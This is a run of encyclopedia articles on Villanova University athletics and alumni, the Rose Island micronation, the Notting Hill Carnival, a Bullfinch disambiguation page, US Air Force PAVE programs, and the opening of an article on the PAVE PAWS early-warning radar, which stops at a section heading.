In 2005, under the direction of coach Jay Wright, Villanova's men's basketball team reached the NCAA Tournament Sweet 16, losing to No. 1 seed and eventual champion North Carolina by one point on a traveling call on Allan Ray. In 2005–2006, the team began the year ranked No. 4 in the major polls from USA Today and the Associated Press. A 75–62 loss to eventual champion Florida ended the team's run for a second NCAA championship in the Regional Final. This team was led by a four guard set, a unique type of lineup designed by coach Jay Wright. In the 2006–2007 season, the Wildcats had a record of 22–11, and lost to Kentucky in the first round of the 2007 tournament. In the 2008 NCAA Division I Men's Basketball Tournament, the team was eliminated by the top-seeded, eventual champion Kansas Jayhawks in the Sweet 16, after upsetting the fifth seeded Clemson Tigers in the 1st round and defeating the thirteenth seeded Siena Saints in the 2nd round. In the 2009 tournament, the Wildcats upset the No. 1 seed Pittsburgh Panthers on a last second shot by guard Scottie Reynolds to win the East Region and advance to the Final Four. The team was then defeated by the eventual champion North Carolina Tar Heels in the 2009 Final Four game.
In 2016, the Wildcats won the 2016 NCAA Championship by defeating North Carolina 77–74. The game included the only buzzer-beater in NCAA Championship game history, when Kris Jenkins sank a three pointer to win the game.
In 2018, Villanova defeated the Michigan Wolverines 79–62 to win the 2018 NCAA Championship in San Antonio. The game was notable for featuring the highest scoring bench-player in NCAA Championship history in Donte Divincenzo, who scored 31 points and was awarded the Final Four MVP Award.
The home venues for the Wildcats include the on-campus 6,500 seat Finneran Pavilion for smaller attendance games, as well as the larger 20,478 seat Wells Fargo Center (known formerly under a variety of bank names) within the South Philadelphia Sports Complex. The February 13, 2006 meeting between Villanova and the University of Connecticut set the record for the highest attendance at a college basketball game in Pennsylvania, with 20,859 attendees.
Football
The Villanova men's football team competes in the NCAA Football Championship Subdivision (formerly Division I-AA) in the Colonial Athletic Association. On December 18, 2009, the team were CAA conference champions and defeated the Montana Grizzlies to be crowned the 2009 NCAA Division I-AA champions. The university continues to play in the Colonial Athletic Association for football as the new, restructured Big East Conference does not include football as a conference sport. The football team went on to win the CAA Conference once more in 2021, and advanced to the NCAA FCS quarterfinals
According to some sources, the 1906 Villanova team is credited with completing the first legal forward pass in football history.
Men's lacrosse
The Villanova men's lacrosse team competes in NCAA Division I as a member of the Big East Conference. Through 2009, Villanova men's lacrosse was a member of the Colonial Athletic Association and in 2009, Villanova won the CAA tournament as the fourth seed (the lowest-seeded championship team in conference history) for its first title. The team also made its first NCAA tournament appearance that year.
Women's cross country
In 2009 and 2010, the women's cross country team won the NCAA National Championships under Coach Gina Procaccio. The 2010 victory was led by individual national champion Sheila Reid of Villanova. The Wildcats also hold the NCAA record for the most Division 1 team and individual wins in women's cross country with nine team victories ('89, '90, '91, '92, '93, '94, '98, '09, '10) and eight individual champions, seven of which coincided.
Track and field
Villanova University's track and field team has a long history of athletic success that has spanned from Big East Conference Championships to NCAA Championships.
The men's team has produced 69 NCAA Championships, 36 Indoor and 33 Outdoor. The team has had eight NCAA team Championships (four Cross Country, three Indoor, one Outdoor). Villanova has produced 28 athletes who have made appearances in the Olympics, 10 of whom have medaled (seven gold medals, three silver medals). The men's team has also won 112 Penn Relay Championships, which stands as the most wins by any school. The men's current coaches include head coach Marcus O'Sullivan and assistant head coach Anthony Williams.
The women's team has also had a multitude of success, producing 11 Big East team Championships and nine NCAA team Championships, most recently winning the 2009 and 2010 NCAA Cross Country Championships. They have also produced nine Olympians including Ronnie Delany, Eamonn Coughlan, Vicki Huber, Sonia O'Sullivan, Kim Certain, Kate Fonshell, Jen Rhines, Carmen Douma, and Carrie Tollefson. The Women's team has won 28 Penn Relay Championships, which is the most wins by any women's team. The current women's coaches include head coach Gina Procaccio and assistant head coach Anthony Williams.
At least one Villanovan athlete has competed in every Summer Olympics since 1948, winning a total of 13 medals (nine gold, four silver).
Traditions
The University Seal
An adaptation of the seal of the Order of St. Augustine, the seal of Villanova University is one of the campus's most ubiquitous images, adorning everything from buildings to chairs to backpacks. A ribbon carries the University motto: Veritas, Unitas, Caritas (Truth, Unity, and Charity), virtues to which every member of the Villanova community should aspire. A book symbolizes Augustine's dedication to education and the New Testament where he found Christianity. A cincture is part of the habit worn by members of the Order of Saint Augustine. Hovering above is the flaming heart, symbol of Augustine's search for God and his love of neighbors. Behind the book is the crosier – a staff traditionally held by a Bishop – commemorating Augustine's service as Bishop of Hippo. Above and behind the book are two crosses, symbolic of Augustine's conversion and the University's commitment to Catholicism. Framing the central portion of the seal is a laurel wreath exemplifying victory through the pursuit of knowledge, and 1842 is the year of the University's founding. Surrounding the seal is the incorporated fide of the University: Universitas Villanova In Statu Pennsylvaniae''.
The Liberty Bell's "Sister Bell"
Villanova University was home to the Liberty Bell's "Sister Bell", the replacement bell ordered from the Whitechapel Bell Foundry after the original bell cracked in 1753. This new bell was installed at the Pennsylvania State House (Independence Hall), and attached to the State House clock. The Sister Bell rang the hours until the late 1820s, when the bell was removed during a renovation and loaned to the Olde St. Augustine Church in Philadelphia. In 1829, the bell was hung in a new cupola and tower designed by architect William Strickland. There it remained until May 8, 1844, when it was destroyed, along with the Olde St. Augustine Church, during the Philadelphia Nativist riots. The friars of the Order of Saint Augustine had the "Sister Bell" recast and transferred to Villanova University. The bell was moved off campus in 2011.
At the university's centennial celebration, the bell was rung by Archbishop Dennis Joseph Dougherty to open the ceremonies. In 1954, the bell was displayed as part of an exhibit at Gimbels department store in Philadelphia that focused on the growth and development of the university. The Sister Bell is currently enshrined in the Heritage Room on the basement floor of the St. Augustine Monastery on Villanova's campus.
Alumni
Villanova University has produced many notable alumni:
Golden Globe-nominated actress Maria Bello, NBC News (WCAU) and Emmy Award-winning news anchor Keith Jones, actor Jon Polito, NFL Hall of Famer, longtime FOX commentator and actor Howie Long, founder of Manhattan Transfer Tim Hauser, singer-songwriters Jim Croce and Don McLean, Tony Award-winning playwright and screenwriter David Rabe, professional athletes Brian Westbrook, Matt Szczur, Kerry Kittles, Alvin Williams, Kevin Reilly, Kyle Lowry, and Michael Bradley.
Villanova has produced several military and governmental officials, including former Pennsylvania Governor Ed Rendell, former New Hampshire Senator Kelly Ayotte (Villanova Law), and former Connecticut Governor John G. Rowland. Wife to the governor and federal judge for the United States Court of Appeals for the Third Circuit, Marjorie Rendell, is also a graduate. Numerous Marine generals and Naval Admirals are products of Villanova's Naval ROTC program, including William J. Fallon, Admiral in the United States Navy and Commander of United States Central Command; George B. Crist, Marine General and the first Marine to be designated Commander in Chief, Central Command; and Anthony Zinni, retired four-star General in the United States Marine Corps, and Joe Clancy, former Director of the United States Secret Service. Another graduate, Paul X. Kelley, served as Commandant of the United States Marine Corps.
In business, alumni include Robert J. Darretta, Jr. – chief financial officer and vice chairman of Johnson & Johnson, John Drosdick – former CEO of Sunoco, and Thomas G. Labrecque – former chairman and CEO of Chase Manhattan Bank.
Other notable alumni include John Joseph O'Connor, Cardinal Archbishop of the Archdiocese of New York, John L. Hennessy, former president of Stanford University, Deirdre Imus, head of the Deirdre Imus Environmental Center for Pediatric Oncology (and wife to radio host Don Imus), and Sean Carroll, a cosmologist and science popularizer.
See also
Education in Philadelphia
Roman Catholicism in the United States
References
External links
1842 establishments in Pennsylvania
Association of Catholic Colleges and Universities
Augustinian universities and colleges
Big East Conference schools
Catholic universities and colleges in Pennsylvania
Educational institutions established in 1842
Radnor Township, Delaware County, Pennsylvania
Universities and colleges in Delaware County, Pennsylvania
Universities and colleges in Philadelphia | [
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241102 | https://en.wikipedia.org/wiki/Republic%20of%20Rose%20Island | Republic of Rose Island | The Republic of Rose Island (; ) was a short-lived micronation on a man-made platform in the Adriatic Sea, off the coast of the province of Rimini, Italy.
It was built by the Italian engineer Giorgio Rosa, who made himself its president and declared it an independent state on 1 May 1968. Rose Island had its own government, currency, post office, and commercial establishments, and the official language was Esperanto. However, it was never formally recognized as a sovereign state by any country of the world. Viewed by the Italian government as a ploy by Rosa to raise money from tourists while avoiding national taxation, Rose Island was occupied by the Italian police forces on 26 June 1968, subject to naval blockade, and eventually demolished in February 1969.
Since the first decade of the 2000s, Rose Island's history has been the subject of documentary research and rediscoveries based on the utopian aspect of its genesis.
Name
The entity that was to be established on the artificial platform took the name, in the Esperanto language, of (in ), which later became (Esperanto Republic of the Isle of Roses). Its official periodical was entitled , published in collaboration with the Dominican fathers of Bologna, to whom Rosa was closely linked.
It is believed that the Esperanto term (in ) was borrowed from the surname of Giorgio Rosa, the designer and builder of the artificial platform, as well as the creator and inspirer of the state entity, as well as from his desire to "see roses bloom on the sea".
History
In 1967, the Italian engineer Giorgio Rosa funded the construction of a platform supported by nine pylons, and furnished it with a number of commercial establishments, including a restaurant, bar, nightclub, souvenir shop, and post office.
The platform declared independence on 1 May 1968, under the Esperanto name Insulo de la Rozoj, with Rosa as self-declared president. Both Esperanto rozo (plural rozoj) and Italian rosa (plural rose) mean "rose".
Soon afterwards, Rose Island issued a number of stamps, including one showing the approximate location of Rose Island in the Adriatic Sea. The purported currency of the republic was the mill, and this appeared on early stamp issues, although no coins or banknotes are known to have been produced. It had equivalent value to the Italian lira. The denomination's name was translated into Esperanto as milo (plural miloj) on later stamp issues (it was unrelated to the Esperantist currency spesmilo).
Rosa's actions were viewed by the Italian government as a ploy to raise money from tourists while avoiding national taxation. Whether or not this was the real reason behind Rosa's micronation, the Italian government's response was swift: a group of four carabinieri and Guardia di Finanza officers landed on the island and assumed control.
On 13 February 1969, the Italian Navy used explosives to destroy the facility, an act later portrayed on postage stamps issued by Rosa's self-declared government in exile.
Only one death was counted but never confirmed: apparently, Rosa's dog was on the platform during the facility's detonation.
Rosa died in 2017, having given his blessing for a film to be made about Rose Island. This was released in 2020.
In popular culture
Rose Island is featured in the Italian comic book Martin Mystère, n. 193.
Rose Island, a 2020 film based on the story of the micronation, directed by Sydney Sibilia, was released on Netflix on 8 December 2020.
See also
REM Island, a platform towed into international waters for the purposes of offshore radio broadcasting.
Republic of Minerva, a short-lived artificial island micronation in the Pacific Ocean.
Sealand, a declared principality near the United Kingdom, built on a World War II sea fort.
References
Further reading
External links
Italian-language website - discusses the history of Rose Island and its postage stamps. Includes a scan of part of a contemporary newspaper article.
(including pictures of its destruction) and comments from the daughter of one of the people responsible for the destruction (Italian language)
Micronations in Italy
Artificial islands of Italy
Esperanto
Seasteading
States and territories established in 1968
States and territories disestablished in 1969
Former unrecognized countries
Micronations
Short-lived governments and regimes | [
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241103 | https://en.wikipedia.org/wiki/Notting%20Hill%20Carnival | Notting Hill Carnival | The Notting Hill Carnival is an annual Caribbean festival event that has taken place in London since 1966 on the streets of the Notting Hill area of Kensington, each August over two days (the August bank holiday Monday and the preceding Sunday).
It is led by members of the British West Indian community, and attracts around two and a half million people annually, making it one of the world's largest street festivals, and a significant event in Black British culture. In 2006, the UK public voted it onto a list of icons of England.
History
The roots of the Notting Hill Carnival that took shape in the mid-1960s had two separate but connected strands. A "Caribbean Carnival" was held on 30 January 1959 in St Pancras Town Hall as a response to the problematic state of race relations at the time; the UK's first widespread racial attacks, the Notting Hill race riots in which 108 people were charged, had occurred the previous year. The 1959 event, held indoors and televised by the BBC, was organised by the Trinidadian journalist and activist Claudia Jones (often described as "the mother of the Notting Hill Carnival") in her capacity as editor of influential black newspaper The West Indian Gazette, and directed by Edric Connor; showcasing elements of a Caribbean carnival in a cabaret style, it featured among other things the Mighty Terror singing the calypso "Carnival at St Pancras", The Southlanders, Cleo Laine, the Trinidad All Stars and Hi–fi steel bands dance troupe, finishing with a Caribbean Carnival Queen beauty contest and a Grand Finale Jump-Up by West Indians who attended the event.
Duke Vin, full name Vincent George Forbes, is credited as being a co-founder of Notting Hill Carnival, having brought the first sound system to the United Kingdom in 1955 when he was a stowaway on a ship from Jamaica to the United Kingdom, and brought what is thought to be the very first sound system to the Notting Hill Carnival in 1973, which paved the way for the many sound systems that operate at carnival today. Duke Vin became a legend in Ladbroke Grove and had a huge influence on the popularisation of reggae and ska in Britain, and played at Notting Hill Carnival with his sound system, ‘Duke Vin the Tickler’s’, every year from the year it was founded until his death in 2012.
The other important strand was the "hippie" London Free School-inspired festival in Notting Hill that became the first organised outside event, in August 1966. The prime mover was Rhaune Laslett, who was not aware of the indoor events when she first raised the idea. This festival was a more diverse Notting Hill event to promote cultural unity. A street party for neighbourhood children turned into a carnival procession when Russell Henderson's steel band (who had played at the earlier Claudia Jones events) went on a walkabout. By 1970, "the Notting Hill Carnival consisted of 2 music bands, the Russell Henderson Combo and Selwyn Baptiste's Notting Hill Adventure Playground Steelband and 500 dancing spectators."
Emslie Horniman's Pleasance (in the nearby Kensal Green area), with Kensal Green and Westbourne Park the nearest tube stations, has been the carnival's traditional starting point. Among the early bands to participate were Ebony Steelband and Metronomes Steelband. As the carnival had no permanent staff and head office, the Mangrove restaurant in Notting Hill, run by another Trinidadian, Frank Crichlow, came to function as an informal communication hub and office address for the carnival's organisers.
Leslie Palmer, who was director from 1973 to 1975, is credited with "getting sponsorship, recruiting more steel bands, reggae groups and sound systems, introducing generators and extending the route." He encouraged traditional masquerade, and for the first time in 1973 costume bands and steel bands from the various islands took part in the street parade, alongside the introduction of stationary sound systems, as distinct from those on moving floats, which, as Alex Pascall has explained, "created the bridge between the two cultures of carnival, reggae and calypso." "Notting Hill Carnival became a major festival in 1975 when it was organised by a young teacher, Leslie Palmer." The carnival was also popularised by live radio broadcasts by Pascall on his daily Black Londoners programme for BBC Radio London.
By 1976, the event had become definitely Caribbean in flavour, with around 150,000 people attending. However, in that year and several subsequent years, the carnival was marred by riots, in which predominantly Caribbean youths fought with police – a target due to the continuous harassment the population felt they were under. During this period, there was considerable press coverage of the disorder, which some felt took an unfairly negative and one-sided view of the carnival. For a while it looked as if the event would be banned. Prince Charles was one of the few establishment figures who supported the event. Leila Hassan campaigned for Arts Council England to recognise the Notting Hill Carnival as an art form.
Concerns about the size of the event resulted in London's then mayor, Ken Livingstone, setting up a Carnival Review Group to look into "formulating guidelines to safeguard the future of the Carnival". An interim report by the review resulted in a change to the route in 2002. When the full report was published in 2004, it recommended that Hyde Park be used as a "savannah" (an open space to draw crowds away from residential areas), though the proposal of such a move attracted concerns, including that the Hyde Park event might overshadow the original street carnival.
In 2003, the Notting Hill Carnival was run by a limited company, the Notting Hill Carnival Trust Ltd. A report by the London Development Agency on the 2002 Carnival estimated that the event contributed around £93 million to the London and UK economy, set against an estimated £6–10 million costs. However, the 2016 residents' survey commissioned by local Conservative Member of Parliament (MP) Victoria Borwick found that while 6% of businesses reported an upturn in trade, many others boarded up their shopfronts and lost business due to closure.
For 2014, a Notting Hill Carnival illustrated guide was created by official city guide to London visitlondon.com. The infographic includes Carnival tips, transport information and a route map. The book Carnival: A Photographic and Testimonial History of the Notting Hill Carnival, by Ishmahil Blagrove and Margaret Busby, was also published in August 2014 by Rice N Peas.
In 2015 there was controversy when the Carnival Trust charged journalists £100 to cover the event, and demanded copies of all work produced relating to the event within three weeks of the end of the Carnival. The National Union of Journalists organised a boycott of the event. In 2016 the charge remained; however, in June 2017, the Carnival's new event management team introduced a revised media policy, with no request for any accreditation fees.
In 2016, when the Golden Jubilee of Notting Hill Carnival was celebrated, 42 hours of live video coverage was broadcast by music live-streaming platform Boiler Room from the Rampage, Deviation, Aba Shanti-I, Channel One, Nasty Love, Saxon Sound, King Tubbys, Gladdy Wax and Disya Jeneration soundsystems.
The 2020 carnival was cancelled due to the ongoing COVID-19 pandemic, although free live-streamed events were shown online across four channels. On 18 June 2021, it was announced that the 2021 Carnival would not take place either, due to "ongoing uncertainty and Covid-19 risk".
Culture of the carnival
Professor David Dabydeen has stated:
Carnival is not alien to British culture. Bartholomew Fair and Southwark Fair in the 18th century were moments of great festivity and release. There was juggling, pickpocketing, whoring, drinking, masquerade – people dressed up as the Archbishop of Canterbury and indulged in vulgar acts. It allowed people a space to free-up but it was banned for moral reasons and for the antiauthoritarian behaviour that went on like stoning of constables. Carnival allowed people to dramatise their grievances against the authorities on the street... Notting Hill Carnival single-handedly revived this tradition and is a great contribution to British cultural life."
This huge street festival attracts around one million people every year to Notting Hill and highlights Caribbean and Black diasporic cultures. Carnival uses influences from many other festivals around the world. Authors Julian Henriques and Beatrice Ferrara claim the festival draws mainly on the Trinidad Carnival as well as Crop Over, Canadian Caribana in Toronto and the US Labor Day Festival in Brooklyn. They also explain that Notting Hill Carnival is dually influenced by its diasporic cultures and its own country's influences. Henriques and Ferrara claim: "Carnival also has an explosive auditory impact due to its cacophony of sounds, in which soca, steel bands, calypso floats and sound systems mix and mingle in a multi-media and multi-sensory event" (Ferrara 132). This mixture of percussion, with emphasis on the beat and rhythm, leads to the extreme dancing in the streets for which Carnival is known, with citizens participating to the beat of the music, using mud and paint, dancing with the lower parts of the body. Henriques and Ferrara explain that people emphasize the "baseness" of the music, with everything being about the "bottom": the ground, the bottom of the body, and the bottom of the beat. The festival uses influences from the Jamaican dancehalls and British clubs, and the music is made loud enough for participants to feel the beat. The vibrations from the speakers allow people to better connect with the ground and bring their experience to another level.
The authors of the same article further explain how Notting Hill Carnival also creates "territory". The parade route portion of the Carnival is where carnival floats play both recorded and live music and circulate the street, visualizing the boundaries of Carnival and marking its territory. The circulating movement of the Carnival parade is also an extending of space through sound. Territorializing the space through sounds of African beats, such as the pan, fosters a sense of identity and unity for the overall Carnival.
The Carnival further diversified in 1984 with the appearance of the London School of Samba. Formed in that year, they were the first samba school in the UK and have paraded every year since (with the exception of 1992). Other samba schools have also paraded in Carnival, notably Acadêmicos de Madureira (1992–94), Quilombo do Samba (1993–2006) and the Paraiso School of Samba (since 2002). These groups are also notable as they sometimes parade with more than 200 performers, along with several decorated floats.
Media coverage
Compared to other major music and art events such as Glastonbury Festival, Notting Hill Carnival has historically struggled to gain any live coverage outside of local media. The majority of carnival live broadcasts have been traditionally on BBC London radio (hitting a peak of coverage in the years of 2003 and 2004), and on BBC Radio 1Xtra in more recent years.
Public order
Since the carnival did not have local authority permission, initial police involvement was aimed at preventing it taking place at all, which resulted in regular confrontation and riots. In 1976, the police had been expecting hostility due to what they deemed as trouble the year before. Consequently, after discovering pickpockets in the crowd, police took a heavy-handed approach against the large congregation of black people and it became "no-man's land". The 1600-strong police force violently broke up the carnival, with the arrest of 60 people. In the aftermath of the event, the carnival was portrayed in a very pointed way, with those aiding the riots lumped together as the "trouble-makers" responsible.
After the 1976 Notting Hill Carnival the Police Federation pressed for the introduction of riot shields to protect police from objects thrown at them, although the shields also had the potential for aggressive use, as in 1977.
A change of policy came after a confrontation in 1987, when the Carnival was allowed to take place with police adopting a more conciliatory approach. During the 2000 Carnival, two men were murdered; and future policing, while conciliatory, resulted in police deployment in large numbers: upwards of 11,000.
The Mayor of London's Carnival Review Group's report (published in 2004,) led to the parades taking a circular rather than linear route, but a recommendation to relocate the event in Hyde Park has been resisted. Some crimes associated with the carnival have taken place on its periphery: in 2007, two teenagers were wounded in separate shooting incidents just outside the carnival area on the Monday evening; however, police said there had been a decline in the number of carnival-linked arrests in comparison with the previous year.
The 2008 Carnival was marred by rioting at the very end of the weekend, involving about 40 youths battling with police, and more than 300 people were arrested. The carnival has come under criticism for its cost to the London taxpayer, with the cost of policing the event more than £6,000,000; however, it is argued that this should be put into context since the carnival is estimated to bring approximately £93,000,000 into the local economy.
Despite talk of the 2011 Carnival being cancelled in the wake of the early August riots in the UK that year, it was seen as being relatively peaceful. Five people were arrested for a stabbing at Ladbroke Grove. The victim was one of 86 people who were taken to hospital. In total 245 people were detained by police over the two days of the carnival.
In recent years, there has been much less serious trouble, and it is generally viewed very positively by the authorities as a dynamic celebration of London's multicultural diversity, though dominated by the Caribbean culture. However, there has been controversy over the public safety aspects of holding such a well-attended event in narrow streets in a small area of London. A survey in 2016 commissioned by local Conservative MP Victoria Borwick found that "Nine out of ten residents living along the route of the Notting Hill Carnival flee their homes to escape the 'frightening and intimidating' event."
In 2016 there were over 450 arrests, and five people were hurt in four knife attacks; however, the commander in charge of policing carnival, David Musker, said that the number of arrests had been inflated by the new Psychoactive Substances Act 2016. Based on relative attendance figures, it has been said that crime rates for the Notting Hill Carnival and for Glastonbury or other music festivals are comparable, and Ishmahil Blagrove, co-author of the book Carnival: A Photographic and Testimonial History of the Notting Hill Carnival, states: "Notting Hill Carnival, compared to Trinidad or Brazil, is one of the safest in the world – not just the second largest – it's one of the safest."
A report in 2004 by the GLA Policing Policy Director, Lee Jasper, criticised authorities for not addressing safety issues involved in over a million people attending a small inner-city residential area, quoting the Met Police spokesman Dave Musker, who in November 2016 said: "Each year … we come exceptionally close to a major catastrophic failure of public safety where members of the public will suffer serious injury."
In the three weeks running up to the 2017 event, the police made 656 arrests, a pre-emptive crackdown. There were 313 arrests during the two days of the 2017 Carnival, compared with 454 the previous year. On both days, a minute's silence in tribute to the victims of the Grenfell Tower fire was observed at 3 pm by Carnival-goers, many of whom wore "green for Grenfell".
During the 2018 event, due to the rising levels of in violent crime in London, police deployed metal detectors to prevent weapons being brought to the event. During the event, 30 police officers were injured in the line of duty, 36 weapons were confiscated and 373 arrests were made by the Metropolitan Police Service.
Since 1987 there have been five deaths caused by violence at Notting Hill Carnival:
30 August 1987 – Michael Augustine Galvin, 23, stallholder – stabbed.
26 August 1991 – Nicholas John Hanscomb, 38, bled to death after being stabbed in the thigh.
28 August 2000 – Greg Fitzgerald Watson, 21, stabbed to death after an argument over food.
28 August 2000 – Abdul Munam Bhatti, 28; the police treated his attack as racially motivated by a gang of "mainly black males", as described by a witness. Nine men were sentenced for violent disorder in 2002.
30 August 2004 – Lee Christopher Surbaran, 27, was shot by a gang using a machine pistol "for showing disrespect"; in 2005, three men were jailed for life for his murder.
Transport
Transport for London run special limited-stop bus services from South London to the Carnival area:
2X from West Norwood and Brixton
36X from Peckham and Camberwell
436X from Peckham and Camberwell
Some London Underground stations close or are exit-only to ease congestion.
Image gallery
See also
Leeds West Indian Carnival (also known as the "Chapeltown Carnival")
St Pauls Carnival, Bristol
Culture of London
References
Further reading
Abner Cohen, "Drama and Politics in the Development of a London Carnival", in Ronald Frankenberg (ed.), Custom and Conflict in British Society, Manchester University Press, 1982, pp. 313–44.
Ishmahil Blagrove and Margaret Busby (eds), Carnival: A Photographic and Testimonial History of the Notting Hill Carnival, London: Rice N Peas Books, 2014. .
External links
"The Official Guide to Notting Hill Carnival", Street Event Company.
Notting Hill Carnival at CarnivalInfo.com
"The art(s) of Carnival", Arts Council England podcast on 50th anniversary of Notting Hill Carnival, 2016. Soundcloud. See also "Notting Hill Carnival celebrates golden jubilee", Arts Council England, 24 August 2016.
London School Of Samba – Notting Hill Carnival Archive – The themes paraded by the London School of Samba since their debut year in 1984.
Afro-Caribbean culture in London
Carnivals in the United Kingdom
Festivals in London
Annual events in London
Parades in London
Black British culture in London
Recurring events established in 1965
1966 establishments in England
Carnival
Music festivals established in 1966
August events
Festivals of multiculturalism
Multiculturalism in the United Kingdom
Summer events in England
Festivals of Caribbean culture abroad | [
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] |
241104 | https://en.wikipedia.org/wiki/Bullfinch%20%28disambiguation%29 | Bullfinch (disambiguation) | A bullfinch is a bird belonging to one of two groups of passerine birds
Bullfinch can also refer to:
Bullfinch (obstacle), an obstacle seen on the cross-country course in the sport of eventing
USS Bullfinch, the name of two US Navy ships
Bullfinch, Western Australia, a town in Australia
See also
Bulfinch (disambiguation) | [
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241107 | https://en.wikipedia.org/wiki/PAVE | PAVE | PAVE is a United States Air Force program identifier relating to electronic systems. Prior to 1979, Pave was said to be a code word for the Air Force unit responsible for the project. Pave was used as an inconsequential prefix identifier for a wide range of different programs, though backronyms and alternative meanings have been used. For example, in the helicopters Pave Low and Pave Hawk it was said to mean Precision Avionics Vectoring Equipment, but in Pave Paws it was said to mean Precision Acquisition Vehicle Entry.
PAVE systems
Pave Eagle – Modified Beechcraft Bonanza drone aircraft for low altitude sensor monitoring.
Pave Hawk – Sikorsky HH-60 Pave Hawk special operations and combat search and rescue helicopter.
Pave Nail - OV-10 Bronco with Pave Spot target laser designator pod.
Pave Knife – Ford Aerospace AN/AVQ-10 Pave Knife early laser targeting pod.
Pave Low – Sikorsky MH-53 Pave Low special ops and combat search and rescue helicopter.
Pave Mint – Upgrade of the AN/ALQ-117 electronic warfare system to the AN/ALQ-172.
Pave Mover – Demonstration program to develop the AN/APY-7 radar wide-area surveillance, ground moving target indicator (GMTI), fixed target indicator (FTI) target classification, and synthetic aperture radar (SAR), for the E-8 Joint STARS.
Pave Onyx – Vietnam era Advanced Location Strike System c.1973.
Pave Pace – A fully integrated avionics architecture featuring functional resource allocation.
PAVE PAWS – The Phased-Array Warning System which replaced the three BMEWS radars. Pave in this case is a backronym for Perimeter or Precision Acquisition Vehicle Entry.
Pave Penny – Lockheed-Martin AN/AAS-35(V) laser spot tracker.
Pave Pillar – Generic core avionics architecture system for combat aircraft.
Pave Pronto – Lockheed AC-130 Spectre gunship program.
Pave Spectre – Lockheed AC-130E gunships.
Pave Spike – Westinghouse AN/ASQ-153\AN/AVQ-23 electro-optical laser designator pod.
Pave Sword – AN/AVQ-11 Pave Sword laser tracker.
Pave Tack – Ford Aerospace AN/AVQ-26 electro-optical targeting pod. Used first on F-4 and then later on F-111F model aircraft.
Paveway – A family of laser-guided bomb conversion kits, to be fitted to standard unguided bombs.
See also
Light Airborne Multi-Purpose System (LAMPS)
References
Notes
Bibliography
- Contains a list of PAVE program names relating to Laser Guided bombs
Equipment of the United States Air Force | [
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241109 | https://en.wikipedia.org/wiki/PAVE%20PAWS | PAVE PAWS | PAVE PAWS (Precision Acquisition Vehicle Entry Phased Array Warning System) is a complex Cold War early warning radar and computer system developed in 1980 to "detect and characterize a sea-launched ballistic missile attack against the United States". With the first solid-state phased array deployed, the system at the perimeter of the contiguous United States used a pair of Raytheon AN/FPS-115 radar sets at each site (two sites in 1980, then two more used 1987–95) as part of the United States Space Surveillance Network. One system was sold to Taiwan and is still in service.
Mission
The radar was built in the Cold War to give early warning of a nuclear attack, to allow time for US bombers to get off the ground and land-based US missiles to be launched, to decrease the chance that a preemptive strike could destroy US strategic nuclear forces. The deployment of submarine launched ballistic missiles (SLBMs) by the Soviet Union by the 1970s, significantly decreased the warning time available between the detection of an incoming enemy missile and its reaching its target, because SLBMs can be launched closer to the US than the previous ICBMs, which have a long flight path from the Soviet Union to the continental US. Thus there was a need for a radar system with faster reaction time than existing radars. PAVE PAWS later acquired a second mission of tracking satellites and other objects in Earth orbit as part of the United States Space Surveillance Network.
A notable feature of the system is its phased array antenna technology, it was one of the first large phased array radars. A phased array was used because a conventional mechanically-rotated radar antenna cannot turn fast enough to track multiple ballistic missiles. A nuclear strike on the US would consist of hundreds of ICBMs and SLBMs incoming simultaneously. The beam of the phased array radar is steered electronically without moving the fixed antenna, so it can be pointed in a different direction in milliseconds, allowing it to track many incoming missiles at the same time.
Description
The AN/FPS-115 radar consists of two phased arrays of antenna elements mounted on two sloping sides of the 105 ft high transmitter building, which are oriented 120° apart in azimuth. The beam from each array can be deflected up to 60° from the array's central boresight axis, allowing each array to cover an azimuth angle of 120°, thus the entire radar can cover an azimuth of 240°. The building sides are sloped at an angle of 20°, and the beam can be directed at any elevation angle between 3° and 85°. The beam is kept at least 100 ft above the ground over public-accessible land to avoid the possibility of exposing the public to significant electromagnetic fields.
Each array is a circle 72.5 ft (22.1 m) in diameter consisting of 2,677 crossed dipole antenna elements, of which 1,792 are powered and serve as both transmitting and receiving antennas, with the rest functioning as receiving antennas. Due to the phenomenon of interference the radio waves from the separate elements combine in front of the antenna to form a beam. The array has a gain of 38.6 dB, and the width of the beam is only 2.2°. The drive current for each antenna element passes through a device called a phase shifter, controlled by the central computer. By changing the relative timing (phase) of the current pulses supplied to each antenna element the computer can instantly steer the beam to a different direction.
The radar operates in the UHF band between 420 - 450 MHz, just below the UHF television broadcast band, that is a wavelength of 71–67 cm, with circular polarization. It is an active array (AESA); each of the 1,792 transmitting elements has its own solid-state transmitter/receiver module, and radiates a peak power of 320 W, so the peak power of each array is 580 kW. It operates in a repeating 54 millisecond cycle in which it transmits a series of pulses, then listens for echoes. Its duty cycle (fraction of time spent transmitting) is never greater than 25% (so the average power of the beam never exceeds 25% of 540 kW, or 145 kW) and is usually around 18%. It is reported to have a range of about 3,000 nautical miles (3,452 statute miles, 5,555 km); at that range it can detect an object the size of a small car, and smaller objects at closer ranges.
The functioning of the radar is completely automatic, controlled by four computers. The software divides the beam time between "surveillance" and "tracking" functions, switching the beam back and forth rapidly between different tasks. In the surveillance mode, which normally consumes about 11% of the duty cycle, the radar repeatedly scans the horizon across its full 240° azimuth in a pattern between 3° and 10° elevation, creating a "surveillance fence" to immediately detect missiles as they rise above the horizon into the radar's field of view. In the tracking mode, which normally consumes the other 7% of the 18% duty cycle, the radar beam follows already-detected objects to determine their trajectory, calculating their launch and target points.
Background
Fixed-reflector radars with mechanically-scanned beams such as the 1955 GE AN/FPS-17 Fixed Ground Radar and 1961 RCA AN/FPS-50 Radar Set were deployed for missile tracking, and the USAF tests of modified AN/FPS-35 mechanical radars at Virginia and Pennsylvania SAGE radar stations had "marginal ability" to detect Cape Canaveral missiles in summer 1962. A Falling Leaves mechanical radar in New Jersey built for BMEWS successfully tracked a missile during the October 1962 Cuban Missile Crisis, and "an AN/FPS-85 long-range phased array (Passive electronically scanned array) radar was constructed at Eglin AFB" Site C-6, Florida beginning on 29 October 1962 (the Bendix Radio Division FPS-85 contract had been signed 2 April 1962). Early military phased array radars were also deployed for testing: Bendix AN/FPS-46 Electronically Steerable Array Radar (ESAR) at Towson, MD (powered up in November 1960), White Sands' Multi-function Array Radar (1963), and the Kwajalein Missile Site Radar (1967).
Submarine Launched Ballistic Missile Detection and Warning System
